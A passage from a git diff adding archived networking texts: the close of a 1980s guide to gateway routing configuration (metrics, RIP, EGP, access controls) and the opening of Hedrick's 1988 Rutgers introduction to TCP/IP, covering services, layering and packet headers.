to every destination. + +A metric is some number or set of numbers that can be used to compare +routes. The routing table is constructed by gathering information +from other gateways. If two other gateways claim to be able to get to +the same destination, there must be some way of deciding which one to +use. The metric is used to make that decision. Metrics all indicate +in some general sense the "cost" of a route. This may be a cost in +dollars of sending datagrams over that route, the delay in +milliseconds, or some other measure. The simplest metric is just a +count of the number of gateways along the path. This is referred to +as a "hop count". Generally this metric information is set in the +gateway configuration files, or is derived from information appearing +there. + +At a minimum, routing configuration is likely to consist of a command +to enable the routing protocol that you want to use. Most vendors +will have a prefered routing protocol. Unless you have some reason to +choose another, you should use that. The normal reason for choosing +another protocol is for compatibility with other kinds of gateway. +For example, your network may be connected to a national backbone +network that requires you to use EGP (exterior gateway protocol) to +communicate routes with it. EGP is only appropriate for that specific +case. You should not use EGP within your own network, but you may +need to use it in addition to your regular routing protocol to +communicate with a national network. If your own network has several +different types of gateway, then you may need to pick a routing +protocol that all of them support. At the moment, this is likely to +be RIP (Routing Information Protocol). Depending upon the complexity +of your network, you could use RIP throughout it, or use a more +sophisticated protocol among the gateways that support it, and use RIP + 55 + + + +only at the boundary between gateways from different vendors. + +Assuming that you have chosen a routing protocol and turned it on, +there are some additional decisions that you may need to make. One of +the more basic configuration options has to do with supplying metric +information. As indicated above, metrics are numbers which are used +to decide which route is the best. Unsophisticated routing protocols, +e.g. RIP, normally just count hops. So a route that passes through 2 +gateways would be considered better than one that passes through 3. +Of course if the latter route used 1.5Mbps lines and the former 9600 +bps lines, this would be the wrong decision. Thus most routing +protocols allow you to set parameters to take this sort of thing into +account. With RIP, you would arrange to treat the 9600 bps line as if +it were several hops. You would increase the effective hop count +until the better route was chosen. More sophisticated protocols may +take the bit rate of the line into account automatically. However you +should be on the lookout for configuration parameters that need to be +set. Generally these parameters will be associated with the +particular interface. For example, with RIP you would have to set a +metric value for the interface connected to the 9600 bps line. With +protocols that are based on bit rate, you might need to specify the +speed of each line (if the gateway cannot figure it out +automatically). + +Most routing protocols are designed to let each gateway learn the +topology of the entire network, and to choose the best possible route +for each datagram. In some cases you may not want to use the "best" +route. You may want traffic to stay out of a certain portion of the +network for security or cost reasons. One way to institute such +controls is by specifying routing options. These options are likely +to be different for different vendors. But the basic strategy is that +if the rest of the network doesn't know about a route, it won't be +used. So controls normally take the form of limiting the spread of +information about routes whose use you want to control. + +Note that there are ways for the user to override the routing +decisions made by your gateways. If you really need to control access +to a certain network, you will have to do two separate things: + + - Use routing controls to make sure that the gateways use only the + routes you want them to. + + - Use access control lists on the gateways that are adjacent to the + sensitive networks. + +These two mechanisms act at different levels. The routing controls +affect what happens to most datagrams: those where the user has not +specified routing manually. Your routing mechanism must be set up to +choose an acceptable route for them. The access control list provides +an additional limitation which prevents users from supplying their own +routing and bypassing your controls. + +For reliability and security reasons, there may also be controls to +allow you to list the gateways from which you will accept information. +It may also be possible to rank gateways by priority. For example, + 56 + + + +you might decide to listen to routes from within your own organization +before routes from other organizations or other parts of the +organization. This would have the effect of having traffic use +internal routes in preference to external ones, even if the external +ones appear to be better. + +If you use several different routing protocols, you will probably have +some decisions to make regarding how much information to pass among +them. Since multiple routing protocols are often associated with +multiple organizations, you must be sure to make these decisions in +consultation with management of all of the relevant networks. +Decisions that you make may have consequences for the other network +which are not immediately obvious. You might think it would be best +to configure the gateway so that everything it knows is passed on by +all routing protocols. However here are some reasons why you may not +want to do so: + + - The metrics used by different routing protocols may not be + comparable. If you are connected to two different external + networks, you want to specify that one should always be used in + preference to the other, or that the nearest one should be used, + rather than attempting to compare metric information received + from the two networks to see which has the better route. + + - EGP is particularly sensitive, because the EGP protocol cannot + handle loops. Thus there are strict rules governing what + information may be communicated to a backbone that uses EGP. In + situations where EGP is being used, management of the backbone + network should help you configure your routing. + + - If you have slow lines in your network (9600 bps or slower), you + may prefer not to send a complete routing table throughout the + network. If you are connected to an external network, you may + prefer to treat it as a default route, rather than to inject all + of its routing information into your routing protocol. + + + + + + + + + + + + + + + + + + + + + 57 diff --git a/textfiles.com/internet/tcp-ip-i.txt b/textfiles.com/internet/tcp-ip-i.txt new file mode 100644 index 00000000..74864a1c --- /dev/null +++ b/textfiles.com/internet/tcp-ip-i.txt @@ -0,0 +1,1761 @@ + + + + + + + + + + + Introduction + to + the Internet Protocols + + + + + + C R + + C S + Computer Science Facilities Group + C I + + L S + + + RUTGERS + The State University of New Jersey + Center for Computers and Information Services + Laboratory for Computer Science Research + + + 3 October 1988 + +This is an introduction to the Internet networking protocols (TCP/IP). +It includes a summary of the facilities available and brief +descriptions of the major protocols in the family. + +Copyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this +document, in whole or in part, provided that: (1) any copy or +republication of the entire document must show Rutgers University as +the source, and must include this notice; and (2) any other use of +this material must reference this manual and Rutgers University, and +the fact that the material is copyright by Charles Hedrick and is used +by permission. + + + +Unix is a trademark of AT&T Technologies, Inc. + + + + Table of Contents + + + 1. What is TCP/IP? 1 + 2. General description of the TCP/IP protocols 5 + 2.1 The TCP level 7 + 2.2 The IP level 10 + 2.3 The Ethernet level 11 + 3. Well-known sockets and the applications layer 12 + 3.1 An example application: SMTP 15 + 4. Protocols other than TCP: UDP and ICMP 17 + 5. Keeping track of names and information: the domain system 18 + 6. Routing 20 + 7. Details about Internet addresses: subnets and broadcasting 21 + 8. Datagram fragmentation and reassembly 23 + 9. Ethernet encapsulation: ARP 24 + 10. Getting more information 25 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + i + + + +This document is a brief introduction to TCP/IP, followed by advice on +what to read for more information. This is not intended to be a +complete description. It can give you a reasonable idea of the +capabilities of the protocols. But if you need to know any details of +the technology, you will want to read the standards yourself. +Throughout the text, you will find references to the standards, in the +form of "RFC" or "IEN" numbers. These are document numbers. The final +section of this document tells you how to get copies of those +standards. + + + +1. What is TCP/IP? + + +TCP/IP is a set of protocols developed to allow cooperating computers +to share resources across a network. It was developed by a community +of researchers centered around the ARPAnet. Certainly the ARPAnet is +the best-known TCP/IP network. However as of June, 87, at least 130 +different vendors had products that support TCP/IP, and thousands of +networks of all kinds use it. + +First some basic definitions. The most accurate name for the set of +protocols we are describing is the "Internet protocol suite". TCP and +IP are two of the protocols in this suite. (They will be described +below.) Because TCP and IP are the best known of the protocols, it +has become common to use the term TCP/IP or IP/TCP to refer to the +whole family. It is probably not worth fighting this habit. However +this can lead to some oddities. For example, I find myself talking +about NFS as being based on TCP/IP, even though it doesn't use TCP at +all. (It does use IP. But it uses an alternative protocol, UDP, +instead of TCP. All of this alphabet soup will be unscrambled in the +following pages.) + +The Internet is a collection of networks, including the Arpanet, +NSFnet, regional networks such as NYsernet, local networks at a number +of University and research institutions, and a number of military +networks. The term "Internet" applies to this entire set of networks. +The subset of them that is managed by the Department of Defense is +referred to as the "DDN" (Defense Data Network). This includes some +research-oriented networks, such as the Arpanet, as well as more +strictly military ones. (Because much of the funding for Internet +protocol developments is done via the DDN organization, the terms +Internet and DDN can sometimes seem equivalent.) All of these +networks are connected to each other. Users can send messages from +any of them to any other, except where there are security or other +policy restrictions on access. Officially speaking, the Internet +protocol documents are simply standards adopted by the Internet +community for its own use. More recently, the Department of Defense +issued a MILSPEC definition of TCP/IP. This was intended to be a more +formal definition, appropriate for use in purchasing specifications. +However most of the TCP/IP community continues to use the Internet +standards. The MILSPEC version is intended to be consistent with it. + +Whatever it is called, TCP/IP is a family of protocols. A few provide + 1 + + + +"low-level" functions needed for many applications. These include IP, +TCP, and UDP. (These will be described in a bit more detail later.) +Others are protocols for doing specific tasks, e.g. transferring files +between computers, sending mail, or finding out who is logged in on +another computer. Initially TCP/IP was used mostly between +minicomputers or mainframes. These machines had their own disks, and +generally were self-contained. Thus the most important "traditional" +TCP/IP services are: + + - file transfer. The file transfer protocol (FTP) allows a user on + any computer to get files from another computer, or to send files + to another computer. Security is handled by requiring the user + to specify a user name and password for the other computer. + Provisions are made for handling file transfer between machines + with different character set, end of line conventions, etc. This + is not quite the same thing as more recent "network file system" + or "netbios" protocols, which will be described below. Rather, + FTP is a utility that you run any time you want to access a file + on another system. You use it to copy the file to your own + system. You then work with the local copy. (See RFC 959 for + specifications for FTP.) + + - remote login. The network terminal protocol (TELNET) allows a + user to log in on any other computer on the network. You start a + remote session by specifying a computer to connect to. From that + time until you finish the session, anything you type is sent to + the other computer. Note that you are really still talking to + your own computer. But the telnet program effectively makes your + computer invisible while it is running. Every character you type + is sent directly to the other system. Generally, the connection + to the remote computer behaves much like a dialup connection. + That is, the remote system will ask you to log in and give a + password, in whatever manner it would normally ask a user who had + just dialed it up. When you log off of the other computer, the + telnet program exits, and you will find yourself talking to your + own computer. Microcomputer implementations of telnet generally + include a terminal emulator for some common type of terminal. + (See RFC's 854 and 855 for specifications for telnet. By the + way, the telnet protocol should not be confused with Telenet, a + vendor of commercial network services.) + + - computer mail. This allows you to send messages to users on + other computers. Originally, people tended to use only one or + two specific computers. They would maintain "mail files" on + those machines. The computer mail system is simply a way for you + to add a message to another user's mail file. There are some + problems with this in an environment where microcomputers are + used. The most serious is that a micro is not well suited to + receive computer mail. When you send mail, the mail software + expects to be able to open a connection to the addressee's + computer, in order to send the mail. If this is a microcomputer, + it may be turned off, or it may be running an application other + than the mail system. For this reason, mail is normally handled + by a larger system, where it is practical to have a mail server + running all the time. Microcomputer mail software then becomes a + 2 + + + + user interface that retrieves mail from the mail server. (See + RFC 821 and 822 for specifications for computer mail. See RFC + 937 for a protocol designed for microcomputers to use in reading + mail from a mail server.) + +These services should be present in any implementation of TCP/IP, +except that micro-oriented implementations may not support computer +mail. These traditional applications still play a very important role +in TCP/IP-based networks. However more recently, the way in which +networks are used has been changing. The older model of a number of +large, self-sufficient computers is beginning to change. Now many +installations have several kinds of computers, including +microcomputers, workstations, minicomputers, and mainframes. These +computers are likely to be configured to perform specialized tasks. +Although people are still likely to work with one specific computer, +that computer will call on other systems on the net for specialized +services. This has led to the "server/client" model of network +services. A server is a system that provides a specific service for +the rest of the network. A client is another system that uses that +service. (Note that the server and client need not be on different +computers. They could be different programs running on the same +computer.) Here are the kinds of servers typically present in a +modern computer setup. Note that these computer services can all be +provided within the framework of TCP/IP. + + - network file systems. This allows a system to access files on + another computer in a somewhat more closely integrated fashion + than FTP. A network file system provides the illusion that disks + or other devices from one system are directly connected to other + systems. There is no need to use a special network utility to + access a file on another system. Your computer simply thinks it + has some extra disk drives. These extra "virtual" drives refer + to the other system's disks. This capability is useful for + several different purposes. It lets you put large disks on a few + computers, but still give others access to the disk space. Aside + from the obvious economic benefits, this allows people working on + several computers to share common files. It makes system + maintenance and backup easier, because you don't have to worry + about updating and backing up copies on lots of different + machines. A number of vendors now offer high-performance + diskless computers. These computers have no disk drives at all. + They are entirely dependent upon disks attached to common "file + servers". (See RFC's 1001 and 1002 for a description of + PC-oriented NetBIOS over TCP. In the workstation and + minicomputer area, Sun's Network File System is more likely to be + used. Protocol specifications for it are available from Sun + Microsystems.) + + - remote printing. This allows you to access printers on other + computers as if they were directly attached to yours. (The most + commonly used protocol is the remote lineprinter protocol from + Berkeley Unix. Unfortunately, there is no protocol document for + this. However the C code is easily obtained from Berkeley, so + implementations are common.) + + 3 + + + + - remote execution. This allows you to request that a particular + program be run on a different computer. This is useful when you + can do most of your work on a small computer, but a few tasks + require the resources of a larger system. There are a number of + different kinds of remote execution. Some operate on a command + by command basis. That is, you request that a specific command + or set of commands should run on some specific computer. (More + sophisticated versions will choose a system that happens to be + free.) However there are also "remote procedure call" systems + that allow a program to call a subroutine that will run on + another computer. (There are many protocols of this sort. + Berkeley Unix contains two servers to execute commands remotely: + rsh and rexec. The man pages describe the protocols that they + use. The user-contributed software with Berkeley 4.3 contains a + "distributed shell" that will distribute tasks among a set of + systems, depending upon load. Remote procedure call mechanisms + have been a topic for research for a number of years, so many + organizations have implementations of such facilities. The most + widespread commercially-supported remote procedure call protocols + seem to be Xerox's Courier and Sun's RPC. Protocol documents are + available from Xerox and Sun. There is a public implementation + of Courier over TCP as part of the user-contributed software with + Berkeley 4.3. An implementation of RPC was posted to Usenet by + Sun, and also appears as part of the user-contributed software + with Berkeley 4.3.) + + - name servers. In large installations, there are a number of + different collections of names that have to be managed. This + includes users and their passwords, names and network addresses + for computers, and accounts. It becomes very tedious to keep + this data up to date on all of the computers. Thus the databases + are kept on a small number of systems. Other systems access the + data over the network. (RFC 822 and 823 describe the name server + protocol used to keep track of host names and Internet addresses + on the Internet. This is now a required part of any TCP/IP + implementation. IEN 116 describes an older name server protocol + that is used by a few terminal servers and other products to look + up host names. Sun's Yellow Pages system is designed as a + general mechanism to handle user names, file sharing groups, and + other databases commonly used by Unix systems. It is widely + available commercially. Its protocol definition is available + from Sun.) + + - terminal servers. Many installations no longer connect terminals + directly to computers. Instead they connect them to terminal + servers. A terminal server is simply a small computer that only + knows how to run telnet (or some other protocol to do remote + login). If your terminal is connected to one of these, you + simply type the name of a computer, and you are connected to it. + Generally it is possible to have active connections to more than + one computer at the same time. The terminal server will have + provisions to switch between connections rapidly, and to notify + you when output is waiting for another connection. (Terminal + servers use the telnet protocol, already mentioned. However any + real terminal server will also have to support name service and a + 4 + + + + number of other protocols.) + + - network-oriented window systems. Until recently, high- + performance graphics programs had to execute on a computer that + had a bit-mapped graphics screen directly attached to it. + Network window systems allow a program to use a display on a + different computer. Full-scale network window systems provide an + interface that lets you distribute jobs to the systems that are + best suited to handle them, but still give you a single + graphically-based user interface. (The most widely-implemented + window system is X. A protocol description is available from + MIT's Project Athena. A reference implementation is publically + available from MIT. A number of vendors are also supporting + NeWS, a window system defined by Sun. Both of these systems are + designed to use TCP/IP.) + +Note that some of the protocols described above were designed by +Berkeley, Sun, or other organizations. Thus they are not officially +part of the Internet protocol suite. However they are implemented +using TCP/IP, just as normal TCP/IP application protocols are. Since +the protocol definitions are not considered proprietary, and since +commercially-support implementations are widely available, it is +reasonable to think of these protocols as being effectively part of +the Internet suite. Note that the list above is simply a sample of +the sort of services available through TCP/IP. However it does +contain the majority of the "major" applications. The other +commonly-used protocols tend to be specialized facilities for getting +information of various kinds, such as who is logged in, the time of +day, etc. However if you need a facility that is not listed here, we +encourage you to look through the current edition of Internet +Protocols (currently RFC 1011), which lists all of the available +protocols, and also to look at some of the major TCP/IP +implementations to see what various vendors have added. + + + +2. General description of the TCP/IP protocols + + +TCP/IP is a layered set of protocols. In order to understand what +this means, it is useful to look at an example. A typical situation +is sending mail. First, there is a protocol for mail. This defines a +set of commands which one machine sends to another, e.g. commands to +specify who the sender of the message is, who it is being sent to, and +then the text of the message. However this protocol assumes that +there is a way to communicate reliably between the two computers. +Mail, like other application protocols, simply defines a set of +commands and messages to be sent. It is designed to be used together +with TCP and IP. TCP is responsible for making sure that the commands +get through to the other end. It keeps track of what is sent, and +retransmitts anything that did not get through. If any message is too +large for one datagram, e.g. the text of the mail, TCP will split it +up into several datagrams, and make sure that they all arrive +correctly. Since these functions are needed for many applications, +they are put together into a separate protocol, rather than being part + 5 + + + +of the specifications for sending mail. You can think of TCP as +forming a library of routines that applications can use when they need +reliable network communications with another computer. Similarly, TCP +calls on the services of IP. Although the services that TCP supplies +are needed by many applications, there are still some kinds of +applications that don't need them. However there are some services +that every application needs. So these services are put together into +IP. As with TCP, you can think of IP as a library of routines that +TCP calls on, but which is also available to applications that don't +use TCP. This strategy of building several levels of protocol is +called "layering". We think of the applications programs such as +mail, TCP, and IP, as being separate "layers", each of which calls on +the services of the layer below it. Generally, TCP/IP applications +use 4 layers: + + - an application protocol such as mail + + - a protocol such as TCP that provides services need by many + applications + + - IP, which provides the basic service of getting datagrams to + their destination + + - the protocols needed to manage a specific physical medium, such + as Ethernet or a point to point line. + +TCP/IP is based on the "catenet model". (This is described in more +detail in IEN 48.) This model assumes that there are a large number +of independent networks connected together by gateways. The user +should be able to access computers or other resources on any of these +networks. Datagrams will often pass through a dozen different +networks before getting to their final destination. The routing +needed to accomplish this should be completely invisible to the user. +As far as the user is concerned, all he needs to know in order to +access another system is an "Internet address". This is an address +that looks like 128.6.4.194. It is actually a 32-bit number. However +it is normally written as 4 decimal numbers, each representing 8 bits +of the address. (The term "octet" is used by Internet documentation +for such 8-bit chunks. The term "byte" is not used, because TCP/IP is +supported by some computers that have byte sizes other than 8 bits.) +Generally the structure of the address gives you some information +about how to get to the system. For example, 128.6 is a network +number assigned by a central authority to Rutgers University. Rutgers +uses the next octet to indicate which of the campus Ethernets is +involved. 128.6.4 happens to be an Ethernet used by the Computer +Science Department. The last octet allows for up to 254 systems on +each Ethernet. (It is 254 because 0 and 255 are not allowed, for +reasons that will be discussed later.) Note that 128.6.4.194 and +128.6.5.194 would be different systems. The structure of an Internet +address is described in a bit more detail later. + +Of course we normally refer to systems by name, rather than by +Internet address. When we specify a name, the network software looks +it up in a database, and comes up with the corresponding Internet +address. Most of the network software deals strictly in terms of the + 6 + + + +address. (RFC 882 describes the name server technology used to handle +this lookup.) + +TCP/IP is built on "connectionless" technology. Information is +transfered as a sequence of "datagrams". A datagram is a collection +of data that is sent as a single message. Each of these datagrams is +sent through the network individually. There are provisions to open +connections (i.e. to start a conversation that will continue for some +time). However at some level, information from those connections is +broken up into datagrams, and those datagrams are treated by the +network as completely separate. For example, suppose you want to +transfer a 15000 octet file. Most networks can't handle a 15000 octet +datagram. So the protocols will break this up into something like 30 +500-octet datagrams. Each of these datagrams will be sent to the +other end. At that point, they will be put back together into the +15000-octet file. However while those datagrams are in transit, the +network doesn't know that there is any connection between them. It is +perfectly possible that datagram 14 will actually arrive before +datagram 13. It is also possible that somewhere in the network, an +error will occur, and some datagram won't get through at all. In that +case, that datagram has to be sent again. + +Note by the way that the terms "datagram" and "packet" often seem to +be nearly interchangable. Technically, datagram is the right word to +use when describing TCP/IP. A datagram is a unit of data, which is +what the protocols deal with. A packet is a physical thing, appearing +on an Ethernet or some wire. In most cases a packet simply contains a +datagram, so there is very little difference. However they can +differ. When TCP/IP is used on top of X.25, the X.25 interface breaks +the datagrams up into 128-byte packets. This is invisible to IP, +because the packets are put back together into a single datagram at +the other end before being processed by TCP/IP. So in this case, one +IP datagram would be carried by several packets. However with most +media, there are efficiency advantages to sending one datagram per +packet, and so the distinction tends to vanish. + + + +2.1 The TCP level + + +Two separate protocols are involved in handling TCP/IP datagrams. TCP +(the "transmission control protocol") is responsible for breaking up +the message into datagrams, reassembling them at the other end, +resending anything that gets lost, and putting things back in the +right order. IP (the "internet protocol") is responsible for routing +individual datagrams. It may seem like TCP is doing all the work. +And in small networks that is true. However in the Internet, simply +getting a datagram to its destination can be a complex job. A +connection may require the datagram to go through several networks at +Rutgers, a serial line to the John von Neuman Supercomputer Center, a +couple of Ethernets there, a series of 56Kbaud phone lines to another +NSFnet site, and more Ethernets on another campus. Keeping track of +the routes to all of the destinations and handling incompatibilities +among different transport media turns out to be a complex job. Note + 7 + + + +that the interface between TCP and IP is fairly simple. TCP simply +hands IP a datagram with a destination. IP doesn't know how this +datagram relates to any datagram before it or after it. + +It may have occurred to you that something is missing here. We have +talked about Internet addresses, but not about how you keep track of +multiple connections to a given system. Clearly it isn't enough to +get a datagram to the right destination. TCP has to know which +connection this datagram is part of. This task is referred to as +"demultiplexing." In fact, there are several levels of demultiplexing +going on in TCP/IP. The information needed to do this demultiplexing +is contained in a series of "headers". A header is simply a few extra +octets tacked onto the beginning of a datagram by some protocol in +order to keep track of it. It's a lot like putting a letter into an +envelope and putting an address on the outside of the envelope. +Except with modern networks it happens several times. It's like you +put the letter into a little envelope, your secretary puts that into a +somewhat bigger envelope, the campus mail center puts that envelope +into a still bigger one, etc. Here is an overview of the headers that +get stuck on a message that passes through a typical TCP/IP network: + +We start with a single data stream, say a file you are trying to send +to some other computer: + + ...................................................... + +TCP breaks it up into manageable chunks. (In order to do this, TCP +has to know how large a datagram your network can handle. Actually, +the TCP's at each end say how big a datagram they can handle, and then +they pick the smallest size.) + + .... .... .... .... .... .... .... .... + +TCP puts a header at the front of each datagram. This header actually +contains at least 20 octets, but the most important ones are a source +and destination "port number" and a "sequence number". The port +numbers are used to keep track of different conversations. Suppose 3 +different people are transferring files. Your TCP might allocate port +numbers 1000, 1001, and 1002 to these transfers. When you are sending +a datagram, this becomes the "source" port number, since you are the +source of the datagram. Of course the TCP at the other end has +assigned a port number of its own for the conversation. Your TCP has +to know the port number used by the other end as well. (It finds out +when the connection starts, as we will explain below.) It puts this +in the "destination" port field. Of course if the other end sends a +datagram back to you, the source and destination port numbers will be +reversed, since then it will be the source and you will be the +destination. Each datagram has a sequence number. This is used so +that the other end can make sure that it gets the datagrams in the +right order, and that it hasn't missed any. (See the TCP +specification for details.) TCP doesn't number the datagrams, but the +octets. So if there are 500 octets of data in each datagram, the +first datagram might be numbered 0, the second 500, the next 1000, the +next 1500, etc. Finally, I will mention the Checksum. This is a +number that is computed by adding up all the octets in the datagram + 8 + + + +(more or less - see the TCP spec). The result is put in the header. +TCP at the other end computes the checksum again. If they disagree, +then something bad happened to the datagram in transmission, and it is +thrown away. So here's what the datagram looks like now. + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Source Port | Destination Port | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Sequence Number | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Acknowledgment Number | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Data | |U|A|P|R|S|F| | + | Offset| Reserved |R|C|S|S|Y|I| Window | + | | |G|K|H|T|N|N| | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Checksum | Urgent Pointer | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | your data ... next 500 octets | + | ...... | + +If we abbreviate the TCP header as "T", the whole file now looks like +this: + + T.... T.... T.... T.... T.... T.... T.... + +You will note that there are items in the header that I have not +described above. They are generally involved with managing the +connection. In order to make sure the datagram has arrived at its +destination, the recipient has to send back an "acknowledgement". +This is a datagram whose "Acknowledgement number" field is filled in. +For example, sending a packet with an acknowledgement of 1500 +indicates that you have received all the data up to octet number 1500. +If the sender doesn't get an acknowledgement within a reasonable +amount of time, it sends the data again. The window is used to +control how much data can be in transit at any one time. It is not +practical to wait for each datagram to be acknowledged before sending +the next one. That would slow things down too much. On the other +hand, you can't just keep sending, or a fast computer might overrun +the capacity of a slow one to absorb data. Thus each end indicates +how much new data it is currently prepared to absorb by putting the +number of octets in its "Window" field. As the computer receives +data, the amount of space left in its window decreases. When it goes +to zero, the sender has to stop. As the receiver processes the data, +it increases its window, indicating that it is ready to accept more +data. Often the same datagram can be used to acknowledge receipt of a +set of data and to give permission for additional new data (by an +updated window). The "Urgent" field allows one end to tell the other +to skip ahead in its processing to a particular octet. This is often +useful for handling asynchronous events, for example when you type a +control character or other command that interrupts output. The other +fields are beyond the scope of this document. + + + + 9 + + + +2.2 The IP level + + +TCP sends each of these datagrams to IP. Of course it has to tell IP +the Internet address of the computer at the other end. Note that this +is all IP is concerned about. It doesn't care about what is in the +datagram, or even in the TCP header. IP's job is simply to find a +route for the datagram and get it to the other end. In order to allow +gateways or other intermediate systems to forward the datagram, it +adds its own header. The main things in this header are the source +and destination Internet address (32-bit addresses, like 128.6.4.194), +the protocol number, and another checksum. The source Internet +address is simply the address of your machine. (This is necessary so +the other end knows where the datagram came from.) The destination +Internet address is the address of the other machine. (This is +necessary so any gateways in the middle know where you want the +datagram to go.) The protocol number tells IP at the other end to +send the datagram to TCP. Although most IP traffic uses TCP, there +are other protocols that can use IP, so you have to tell IP which +protocol to send the datagram to. Finally, the checksum allows IP at +the other end to verify that the header wasn't damaged in transit. +Note that TCP and IP have separate checksums. IP needs to be able to +verify that the header didn't get damaged in transit, or it could send +a message to the wrong place. For reasons not worth discussing here, +it is both more efficient and safer to have TCP compute a separate +checksum for the TCP header and data. Once IP has tacked on its +header, here's what the message looks like: + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + |Version| IHL |Type of Service| Total Length | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Identification |Flags| Fragment Offset | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Time to Live | Protocol | Header Checksum | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Source Address | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Destination Address | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | TCP header, then your data ...... | + | | + +If we represent the IP header by an "I", your file now looks like +this: + + IT.... IT.... IT.... IT.... IT.... IT.... IT.... + +Again, the header contains some additional fields that have not been +discussed. Most of them are beyond the scope of this document. The +flags and fragment offset are used to keep track of the pieces when a +datagram has to be split up. This can happen when datagrams are +forwarded through a network for which they are too big. (This will be +discussed a bit more below.) The time to live is a number that is +decremented whenever the datagram passes through a system. When it +goes to zero, the datagram is discarded. This is done in case a loop + 10 + + + +develops in the system somehow. Of course this should be impossible, +but well-designed networks are built to cope with "impossible" +conditions. + +At this point, it's possible that no more headers are needed. If your +computer happens to have a direct phone line connecting it to the +destination computer, or to a gateway, it may simply send the +datagrams out on the line (though likely a synchronous protocol such +as HDLC would be used, and it would add at least a few octets at the +beginning and end). + + + +2.3 The Ethernet level + + +However most of our networks these days use Ethernet. So now we have +to describe Ethernet's headers. Unfortunately, Ethernet has its own +addresses. The people who designed Ethernet wanted to make sure that +no two machines would end up with the same Ethernet address. +Furthermore, they didn't want the user to have to worry about +assigning addresses. So each Ethernet controller comes with an +address builtin from the factory. In order to make sure that they +would never have to reuse addresses, the Ethernet designers allocated +48 bits for the Ethernet address. People who make Ethernet equipment +have to register with a central authority, to make sure that the +numbers they assign don't overlap any other manufacturer. Ethernet is +a "broadcast medium". That is, it is in effect like an old party line +telephone. When you send a packet out on the Ethernet, every machine +on the network sees the packet. So something is needed to make sure +that the right machine gets it. As you might guess, this involves the +Ethernet header. Every Ethernet packet has a 14-octet header that +includes the source and destination Ethernet address, and a type code. +Each machine is supposed to pay attention only to packets with its own +Ethernet address in the destination field. (It's perfectly possible +to cheat, which is one reason that Ethernet communications are not +terribly secure.) Note that there is no connection between the +Ethernet address and the Internet address. Each machine has to have a +table of what Ethernet address corresponds to what Internet address. +(We will describe how this table is constructed a bit later.) In +addition to the addresses, the header contains a type code. The type +code is to allow for several different protocol families to be used on +the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at +the same time. Each of them will put a different value in the type +field. Finally, there is a checksum. The Ethernet controller +computes a checksum of the entire packet. When the other end receives +the packet, it recomputes the checksum, and throws the packet away if +the answer disagrees with the original. The checksum is put on the +end of the packet, not in the header. The final result is that your +message looks like this: + + + + + + 11 + + + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet destination address (first 32 bits) | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)| + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet source address (last 32 bits) | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Type code | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | IP header, then TCP header, then your data | + | | + ... + | | + | end of your data | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet Checksum | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + +If we represent the Ethernet header with "E", and the Ethernet +checksum with "C", your file now looks like this: + + EIT....C EIT....C EIT....C EIT....C EIT....C + +When these packets are received by the other end, of course all the +headers are removed. The Ethernet interface removes the Ethernet +header and the checksum. It looks at the type code. Since the type +code is the one assigned to IP, the Ethernet device driver passes the +datagram up to IP. IP removes the IP header. It looks at the IP +protocol field. Since the protocol type is TCP, it passes the +datagram up to TCP. TCP now looks at the sequence number. It uses +the sequence numbers and other information to combine all the +datagrams into the original file. + +The ends our initial summary of TCP/IP. There are still some crucial +concepts we haven't gotten to, so we'll now go back and add details in +several areas. (For detailed descriptions of the items discussed here +see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for +sending IP over Ethernet.) + + + +3. Well-known sockets and the applications layer + + +So far, we have described how a stream of data is broken up into +datagrams, sent to another computer, and put back together. However +something more is needed in order to accomplish anything useful. +There has to be a way for you to open a connection to a specified +computer, log into it, tell it what file you want, and control the +transmission of the file. (If you have a different application in +mind, e.g. computer mail, some analogous protocol is needed.) This is +done by "application protocols". The application protocols run "on +top" of TCP/IP. That is, when they want to send a message, they give +the message to TCP. TCP makes sure it gets delivered to the other +end. Because 